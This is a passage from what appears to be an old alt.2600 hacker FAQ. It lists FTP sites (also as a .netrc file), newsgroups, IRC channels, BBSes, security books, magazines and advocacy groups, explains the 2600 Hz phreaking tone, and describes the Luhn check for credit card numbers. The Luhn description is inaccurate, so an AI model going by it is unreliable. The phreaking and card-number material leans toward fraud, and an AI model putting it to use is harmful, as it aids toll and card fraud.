vincent2.iastate.edu    login: anonymous.mabell /* Closed for the Summer */
wimsey.bc.ca            /pub/crypto

Here is the list again, this time in .netrc format:

machine  aql.gatech.edu
login    anonymous
password root@

machine  bellcore.com
login    anonymous
password root@

machine  cert.org
login    anonymous
password root@

machine  crimelab.com
login    anonymous
password root@

machine  cyberspace.com
login    anonymous
password root@

machine  deimos.cs.uah.edu
login    anonymous
password root@

machine  ftp.csua.berkeley.edu
login    anonymous
password root@

machine  ftp.eff.org
login    anonymous
password root@

machine  ftp.etext.org
login    anonymous
password root@

machine  ftp.mcs.com
login    anonymous
password root@

machine  ftp.netcom.com
login    anonymous
password root@

machine  ftp.netcom.com
login    anonymous
password root@

machine  ftp.rahul.net
login    anonymous
password root@

machine  ftp.std.com
login    anonymous
password root@

machine  ftp.std.com
login    anonymous
password root@

machine  ftp.warwick.ac.uk
login    anonymous
password root@

machine  ftp.win.tue.nl
login    anonymous
password root@

machine  ftp.winternet.com
login    anonymous
password root@

machine  garbo.uwasa.fi
login    anonymous
password root@

machine  ghost.dsi.unimi.it
login    anonymous
password root@

machine  grind.isca.uiwa.edu
login    anonymous
password root@

machine  hack-this.pc.cc.cmu.edu
login    anonymous
password root@

machine  halcyon.com
login    anonymous
password root@

machine  ideal.ios.net
login    anonymous
password root@

machine  lcs.mit.edu
login    anonymous
password root@

machine  mary.iia.org
login    anonymous
password root@

machine  nic.funet.fi
login    anonymous
password root@

machine  paradox1.denver.colorado.edu
login    anonymous
password root@

machine  ripem.msu.edu
login    anonymous
password root@

machine  pyrite.rutgers.edu
login    anonymous
password root@

machine  rtfm.mit.edu
login    anonymous
password root@

machine  sekurity.com
login    anonymous
password root@

machine  spy.org
login    anonymous
password root@

machine  theta.iis.u-tokyo.ac.jp
login    anonymous
password root@

machine  vincent2.iastate.edu
login    anonymous
password mabell

machine  wimsey.bc.ca
login    anonymous
password root@


02. What are some newsgroups of interest to hackers?

alt.2600                Do it 'til it hertz
alt.2600.hope.tech      Technology concerns for Hackers on Planet Earth 1994
alt.cellular
alt.dcom.telecom
alt.hackers             Descriptions of projects currently under
                      development (Moderated)
alt.locksmithing        You locked your keys in *where*?
alt.hackers.malicious   The really bad guys - don't take candy from them
alt.security            Security issues on computer systems
alt.security.index      Pointers to good stuff in misc.security (Moderated)
alt.security.keydist    Exchange of keys for public key encryption systems
alt.security.pgp        The Pretty Good Privacy package
alt.security.ripem      A secure email system illegal to export from the US
comp.dcom.cellular
comp.dcom.telcom.tech
comp.dcom.telecom       Telecommunications digest (Moderated)
comp.dcom.telecom.tech
comp.org.cpsr.announce
comp.org.cpsr.talk
comp.org.eff
comp.org.eff
comp.risks
comp.security.announce
comp.security.misc      Security issues of computers and networks
comp.security.unix      Discussion of Unix security
comp.virus              Computer viruses & security (Moderated)
misc.security           Security in general, not just computers (Moderated)
rec.pyrotechnics
sci.crypt               Different methods of data en/decryption


03. What are some telnet sites of interest to hackers?

phred.pc.cc.cmu.edu


04. What are some gopher sites of interest to hackers?

gopher@cpsr.org
gopher.eff.org
gopher.wired.com
wiretap.spies.com


05. What are some World wide Web (WWW) sites of interest to hackers?

http://crimelab.com//bugtraq/bugtraq/html
http://cs.purdue.edu/homes/spaf/coast.html
http://cs.purdue.edu/homes/spaf/pcert.html
http://dfw.net/~aleph1
http://first.org
http://l0pht.com
http://tamsun.tamu.edu/~clm3840/hacking.html/
http://tansu.com.au/Info/security.html
http://www.achilles.net/~pluvius
http://www.cis.ksu.edu/~psiber
http://www.tis.com/
http://www.cpsr.org/home
http://www.iia.org/~gautier/me.html
http://www.engin.umich.edu/~jgotts/underground.html
http://www.net23.com
http: /www.paranoia.com /defcon
http://www.phantom.com/~king
http://www.spy.org /Security/Local/News
http://www.wired.com


06. What are some IRC channels of interest to hackers?

#2600
#hack
#phreak
#linux
#root
#unix
#warez


07. What are some BBS's of interest to hackers?

Home BBS                (303)343-4053
fARM R0Ad 666           (713)855-0261
Corrupt Sekurity        (303)753-1719


08. What books are available on this subject?


General Computer Security
~~~~~~~~~~~~~~~~~~~~~~~~~
Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4

      This is an excellent book.  It gives a broad overview of
      computer security without sacrificing detail.  A must read for
      the beginning security expert.

Computer Security Management
Author: Karen Forcht
Publisher: Boyd and Fraser
Copyright Date: 1994
ISBN: 0-87835-881-1

Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0


Unix System Security
~~~~~~~~~~~~~~~~~~~~
Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2

      Finally someone with a very firm grasp of Unix system security
      gets down to writing a book on the subject.  Buy this book.
      Read this book.

Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4

Unix System Security
Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0

Unix Security: A Practical Tutorial
Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6

Unix System Security: A Guide for Users and Systems Adiministrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4

Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3


Network Security
~~~~~~~~~~~~~~~~
Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7

      Not a total waste of paper, but definitely not worth the
      $49.95 purchase price.  The book is a rehash of previously
      published information.  The only secret we learn from reading
      the book is that Sylvia Moon is a younger woman madly in love
      with the older David Stang.

Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4


Cryptography
~~~~~~~~~~~~
Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2

      Bruce Schneier's book replaces all other texts on
      cryptography.  If you are interested in cryptography, this is
      a must read.  This may be the first and last book on
      cryptography you may ever need to buy.

Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5

Programmed Threats
~~~~~~~~~~~~~~~~~~
The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0

      The original, and still the best, book on computer viruses.
      No media hype here, just good clean technical information.

Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
      Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X


Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X

      Bruce Sterling has recently released the book FREE to the net.
      The book is much easier to read in print form, and the
      paperback is only $5.99.  Either way you read it, you will be
      glad you did.  Mr. Sterling is an excellent science fiction
      author and has brought his talent with words to bear on the
      hacking culture.  A very enjoyable reading experience.

Cyberpunk
Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X

The Cuckoo's Egg
Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9

Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6


Unclassified
~~~~~~~~~~~~
The Hacker's Handbook
Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4

Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5

      The Knightmare is no super hacker.  There is little or no real
      information in this book.  The Knightmare gives useful advice
      like telling you not to dress up before going trashing.
      The Knightmare's best hack is fooling Loompanics into
      publishing this garbage.

The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6

      Total garbage.  Paranoid delusions of a lunatic.  Less factual
      data that an average issue of the Enquirer.

Information Warfare
Author: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1


09. What are some mailing lists of interest to hackers?

Academic Firewalls
Reflector Address:
Registration Address: Send a message to majordomo@greatcircle.com
           containing the line "subscribe firewalls user@host"

Bugtraq
Reflector Address:    bugtraq@crimelab.com
Registration Address: bugtraq-request@crimelab.com

Cert Tools
Reflector Address:    cert-tools@cert.org
Registration Address: cert-tools-request@cert.org

Computers and Society
Reflector Address:    Comp-Soc@limbo.intuitive.com
Registration Address: taylor@limbo.intuitive.com

Coordinated Feasibility Effort to Unravel State Data
Reflector Address:    ldc-sw@cpsr.org
Registration Address:

CPSR Announcement List
Reflector Address:    cpsr-announce@cpsr.org
Registration Address:

CPSR - Intellectual Property
Reflector Address:    cpsr-int-prop@cpsr.org
Registration Address:

CPSR - Internet Library
Reflector Address:    cpsr-library@cpsr.org
Registration Address:

Macintosh Security
Reflector Address:    mac-security@eclectic.com
Registration Address: mac-security-request@eclectic.com

NeXT Managers
Reflector Address:
Registration Address: next-managers-request@stolaf.edu

rfc931-users
Reflector Address:    rfc931-users@kramden.acf.nyu.edu
Registration Address: brnstnd@nyu.edu

RSA Users
Reflector Address:    rsaref-users@rsa.com
Registration Address: rsaref-users-request@rsa.com


10. What are some print magazines of interest to hackers?

2600 - The Hacker Quarterly
~~~~~~~~~~~~~~~~~~~~~~~~~~~
E-mail address: 2600@well.sf.ca.us

Subscription Address: 2600 Subscription Dept
                    PO Box 752
                    Middle Island, NY  11953-0752

Letters and article submission address: 2600 Editorial Dept
                                      PO Box 99
                                      Middle Island, NY  11953-0099

Subscriptions: United States: $21/yr individual, $50 corporate.
             Overseas: $30/yr individual, $65 corporate.


Gray Areas
~~~~~~~~~~
Gray Areas
PO Box 808
Broomall, PA 19008

Subscriptions: $18/yr


Wired
~~~~~
Subscription Address: subscriptions@wired.com
                or: Wired
                    PO Box 191826
                    San Francisco, CA 94119-9866

Letters and article submission address: guideleines@wired.com
                                  or: Wired
                                      544 Second Street
                                      San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)


11. What are some organizations of interest to hackers?

Computer Professionals for Social Responsibility (CPSR)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CPSR empowers computer professionals and computer users to advocate
for the responsible use of information technology and empowers all who
use computer technology to participate in the public debate.   As
technical experts, CPSR members provide the public and policymakers
with realistic assessments of the power, promise, and limitations of
computer technology.  As an organization of concerned citizens, CPSR
directs public attention to critical choices concerning the
applications of computing and how those choices affect society.

By matching unimpeachable technical information with policy
development savvy, CPSR uses minimum dollars to have maximum impact
and encourages broad public participation in the shaping of technology
policy.

Every project we undertake is based on five principles:

*  We foster and support public discussion of and public
 responsibility for decisions involving the use of computers in
 systems critical to society.

*  We work to dispel popular myths about the infallibility of
 technological systems.

*  We challenge the assumption that technology alone can solve
 political and social problems.

*  We critically examine social and technical issues within the
 computer profession, nationally and internationally.

*  We encourage the use of computer technology to improve the quality
 of life.

CPSR Membership Categories
75  REGULAR MEMBER
50  Basic member
200  Supporting member
500  Sponsoring member
1000  Lifetime member
20  Student/low income member
50  Foreign subscriber
50  Library/institutional subscriber

CPSR National Office
P.O. Box 717
Palo Alto, CA  94301
415-322-3778
415-322-3798 (FAX)
E-mail: cpsr@csli.stanford.edu


Electronic Frontier Foundation (EFF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit
of policies and activities that will advance freedom and openness in
computer-based communications. It is a member-supported, nonprofit
group that grew from the conviction that a new public interest
organization was needed in the information age; that this organization
would enhance and protect the democratic potential of new computer
communications technology. From the beginning, the EFF determined to
become an organization that would combine technical, legal, and public
policy expertise, and would apply these skills to the myriad issues
and concerns that arise whenever a new communications medium is born.

Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.

The Electronic Frontier Foundation, Inc.
666 Pennsylvania Avenue S.E., Suite 303
Washington, D.C.  20003
+1 202 544 9237
+1 202 547 5481 FAX
Internet: eff@eff.org


Free Software Foundation (FSF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


GNU
~~~


The League for Programming Freedom (LPF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The League for Programming Freedom is an organization of people who
oppose the attempt to monopolize common user interfaces through "look
and feel" copyright lawsuits.  Some of us are programmers, who worry
that such monopolies will obstruct our work.  Some of us are users,
who want new computer systems to be compatible with the interfaces we
know.  Some are founders of hardware or software companies, such as
Richard P. Gabriel. Some of us are professors or researchers,
including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S.
Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of government-
enforced monopolies broader in scope than ever before.  Such a system
of user-interface copyright would impose gratuitous incompatibility,
reduce competition, and stifle innovation.

We in the League hope to prevent these problems by preventing
user-interface copyright.  The League is NOT opposed to copyright law
as it was understood until 1986 -- copyright on particular programs.
Our aim is to stop changes in the copyright system which would take
away programmers' traditional freedom to write new programs compatible
with existing programs and practices.

Annual dues for individual members are $42 for employed professionals,
$10.50 for students, and $21 for others.  We appreciate activists, but
members who cannot contribute their time are also welcome.

To contact the League, phone (617) 243-4091, send Internet mail to the
address league@prep.ai.mit.edu, or write to:

League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA


SotMesc
~~~~~~~
Founded in 1989, SotMesc is dedicated to preserving the integrity and
cohesion of the computing society.  By promoting computer education,
liberties and efficiency, we believe we can secure freedoms for all
computer users while retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc
Scholarship Fund, and the SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but
mostly by selling hacking, cracking, phreaking, electronics, internet,
and virus information and programs on disk and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

SotMESC
P.O. Box 573
Long Beach, MS  39560




Section D: 2600
~~~~~~~~~~~~~~~

01. What is alt.2600?

Alt.2600 is a Usenet newsgroup for discussion of material relating to
2600 Magazine, the hacker quarterly.   It is NOT for the Atari 2600
game machine.  Len@netsys.com created the group on Emmanual
Goldstein's recommendation.  Emmanuel is the editor/publisher of 2600
Magazine. Following the barrage of postings about the Atari machine to
alt.2600, an alt.atari.2600 was created to divert all of the atari
traffic from alt.2600.  Atari 2600 people are advised to hie over to
rec.games.video.classic.


02. What does "2600" mean?

      2600Hz was a tone that was used by early phone phreaks (or
phreakers) in the 80's, and some currently.  If the tone was sent down the
line at the proper time, one could get away with all sorts of fun stuff.

A note from Emmanuel Goldstein:
    
"The Atari 2600 has NOTHING to do with blue boxes or telephones
or the 2600 hertz tone.  The 2600 hertz tone was simply the first
step towards exploring the network.  If you were successful at
getting a toll call to drop, then billing would stop at that
point but there would be billing for the number already dialed
up until the point of seizure.  800 numbers and long distance
information were both free in the past and records of who called
what were either non-existent or very obscure with regards to
these numbers.  This, naturally, made them more popular than
numbers that showed up on a bill, even if it was only for
a minute.  Today, many 800 numbers go overseas, which provides
a quick and free way into another country's phone system
which may be more open for exploration."


03. Are there on-line versions of 2600 available?

      No.


04. I can't find 2600 at any bookstores.  What can I do?

Subscribe.  Or, let 2600 know via the subscription address that you
think 2600 should be in the bookstore.  Be sure to include the
bookstores name and address.


05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

A note from Emmanuel Goldstein:

We've been selling 2600 at the same newsstand price ($4) since 1988
and we hope to keep it at that price for as long as we can get away
with it. At the same time, $21 is about the right price to cover
subscriber costs, including postage and record keeping, etc. People
who subscribe don't have to worry about finding an issue someplace,
they tend to get issues several weeks before the newsstands get
them, and they can take out free ads in the 2600 Marketplace.




Section E: Miscellaneous
~~~~~~~~~~~~~~~~~~~~~~~~

01. What does XXX stand for?

TLA     Three Letter Acronym

ACL     Access Control List
PIN     Personal Identification Number
TCB     Trusted Computing Base

ALRU    Automatic Line Record Update
AN      Associated Number
ARSB    Automated Repair Service Bureau
ATH     Abbreviated Trouble History
BOC     Bell Operating Company
BOR     Basic Output Report
CA      Cable
COE     Central Office Equipment
CMC     Construction Maintenance Center
CNID    Calling Number IDentification
CO      Central Office
COCOT   Customer Owned Coin Operated Telephone
CRSAB   Centralized Repair Service Answering Bureau
DDD     Direct Distance Dialing
ECC     Enter Cable Change
LD      Long Distance
LMOS    Loop Maintenance Operations System
MLT     Mechanized Loop Testing
NPA     Numbering Plan Area
POTS    Plain Old Telephone Service
RBOC    Regional Bell Operating Company
RSB     Repair Service Bureau
SS      Special Service
TAS     Telephone Answering Service
TH      Trouble History
TREAT   Trouble Report Evaluation and Analysis Tool

FLT     Fairlight
NTA     The Nocturnal Trading Alliance
PDX     Paradox
PE      Public Enemy
QTX     Quartex
S!P     Supr!se Productions
TDT     The Dream Team
THG     The Humble Guys
THP     The Hill People
TRSI    Tristar Red Sector Inc.


02. How do I determine if I have a valid credit card number?

Credit cards us the Luhn Check Digit Algorithm.  The main purpose of
this algorithm is to catch data entry errors, but it does double duty
here as a weak security tool.

For a card with an even number of digits, double every odd digit and
subtract 9 if the product is greater than 10.  Add up all the even
digits as well as the doubled-odd digits, and the result must be a
multiple of 10 or it's not a valid card.  If the card has an odd
number of digits, perform the same addition doubling the even digits
instead.